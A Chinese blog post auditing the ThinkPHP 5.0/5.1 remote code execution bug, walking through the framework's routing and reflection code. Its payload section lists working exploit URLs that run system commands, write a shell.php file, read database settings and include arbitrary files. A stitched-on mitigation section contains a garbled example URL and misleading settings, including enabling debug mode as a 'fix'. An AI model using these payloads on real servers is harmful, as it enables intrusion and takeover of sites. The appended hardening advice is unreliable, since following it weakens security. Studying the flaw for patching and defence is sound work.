ThinkPHP5 RCE漏洞代码审计

本文详细剖析了ThinkPHP 5.1版本中因未强制启用路由导致的RCE漏洞,讲解了漏洞触发条件、攻击流程和payload示例,重点在于如何利用反射执行恶意代码。

前言

thinkphp下载
漏洞影响版本:
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

未开启强制路由导致RCE

搭建

ThinkPHP 5.1框架结合RCE漏洞的深入分析

thinkphp-5.1.29

tp版本:5.1.29

php版本:7.2.10(必须7以上)

测试:

http://www.yn8rt.com/thinkphp5.1.29/public/?s=index/think\request/input?data=whoami&filter=system

开始

tp3URL模式

image-20211012144902573

据说这个漏洞的成因是因为未开启强制路由,因为兼容模式的存在才导致的rce,开始断电调试:

image-20211012145013535

首先是get的作用:获取容器中的对象实例,应该意思差不多就是实例化一个对象

image-20211012145315142

步过了,看一些run的函数:

image-20211012150152473

主要就是这个路由检测,跟进后会得到,check函数:

image-20211012152328622

通过这函数处理完了以后会将$url里面的/变为|

然后返回完了dispatch后,紧接着就进入了init函数:

image-20211012162818951

跟进parseurl函数也就是解析作用:

image-20211012170758813

这是其中有用的函数,应该就是得到模块控制器和操作,把他们存到一个数组中也就就是变量route,一步一步的步入你就知道了

image-20211012201355360

跟进exec函数:

image-20211012201648678

public function exec()
    {
        // 监听module_init
        $this->app['hook']->listen('module_init');

        try {
            // 实例化控制器
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

            if ($instance instanceof Controller) {
                $instance->registerMiddleware();
            }
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        $this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
            // 获取当前操作名
            $action = $this->actionName . $this->rule->getConfig('action_suffix');

            if (is_callable([$instance, $action])) {
                // 执行操作方法
                $call = [$instance, $action];

                // 严格获取当前操作方法名
                $reflect    = new ReflectionMethod($instance, $action);
                $methodName = $reflect->getName();
                $suffix     = $this->rule->getConfig('action_suffix');
                $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
                $this->request->setAction($actionName);

                // 自动获取请求变量
                $vars = $this->rule->getConfig('url_param_type')
                ? $this->request->route()
                : $this->request->param();
                $vars = array_merge($vars, $this->param);
            } elseif (is_callable([$instance, '_empty'])) {
                // 空操作
                $call    = [$instance, '_empty'];
                $vars    = [$this->actionName];
                $reflect = new ReflectionMethod($instance, '_empty');
            } else {
                // 操作不存在
                throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
            }

            $this->app['hook']->listen('action_begin', $call);

            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

            return $this->autoResponse($data);
        });

        return $this->app['middleware']->dispatch($this->request, 'controller');
    }
}

看他注释的严格获取当前操作方法名的地方,应该是利用了反射来得到方法里面具体的属性等,来进一步确定函数的名字等,其中有invokeReflectMethod(请求反射方法)比较关键:

image-20211012204610852

步入到input函数:

image-20211012204950653

跟踪查看一下原因:

image-20211012204903218

是因为回调函数导致的rce

总结

整体思路:由于未强制开启路由,因为兼容模式的存在,使得我们传入的参数会被成功解析并调用:期间会在check方法中将斜杠/替换成|从而得到的$dispath值是index|think\request|input?data=whoami,相当于:目录名|控制器|方法?参数,以及最后导致的出问题的文件正think\request.php中,在其中的input方法中导致的RCE

payload

5.1.x

?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
### ThinkPHP5 RCE漏洞详细分析 #### 漏洞概述 ThinkPHP是一款广泛使用的PHP开发框架,在多个版本中存在远程代码执行(RCE)漏洞。这些漏洞主要由变量覆盖引起,特别是在`thinkphp/library/think/Request.php`文件中的`method`方法允许攻击者通过特定参数覆盖类的核心属性`filter`,进而触发RCE[^1]。 #### 影响范围 受影响的主要版本包括但不限于5.0.23之前的版本。具体来说,获取HTTP请求方法的方式存在问题,未正确过滤输入数据,使得攻击者能够调用`Request`类内的任意公共函数并构建恶意利用链路,最终实现远程代码执行[^2]。 #### 攻击向量 当应用程序未启用强制路由模式时,如果开发者未能充分验证传入的控制器名称,则可能导致未经授权访问内部功能接口的情况发生。这种情况下,攻击者只需构造特制URL即可绕过正常的安全机制来执行任意PHP代码片段或操作系统指令[^3]。 ```bash http://example.com/index.php?s=/Home/Index/index&method=call_user_func_array&function=var_dump¶ms[][a]=b ``` 上述示例展示了如何利用此漏洞发起一次简单的测试性质的探测尝试(实际环境中应遵循合法授权流程)。请注意,这里仅用于说明目的,并不鼓励任何形式非法行为。 #### 修复建议 为了防止此类安全风险的发生: - **升级至最新稳定版**:官方已经发布补丁解决了已知的安全隐患,请及时更新到最新的ThinkPHP发行版本。 - **严格控制外部输入**:对于所有来自客户端的数据都应当实施严格的校验措施,特别是涉及到路径解析、查询字符串解析等场景下的敏感操作。 - **禁用不必要的特性**:关闭那些容易被滥用的功能选项,比如动态加载模块支持或是自定义路由规则等功能;同时考虑设置更严格的权限策略限制某些API端点只响应内网流量。 - **增强日志审计能力**:部署完善的监控体系以便于第一时间发现异常活动迹象,并定期审查服务器上的各类记录文档寻找潜在威胁信号。 ```diff // 修改配置文件 application/config.php 中的相关项如下所示: 'route_check_cache' => false, 'disable_functions' => 'exec,passthru,shell_exec,system', 'app_debug' => true, 'url_route_on' => false, ``` 以上修改旨在减少可能存在的安全隐患,提高系统的整体安全性水平。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值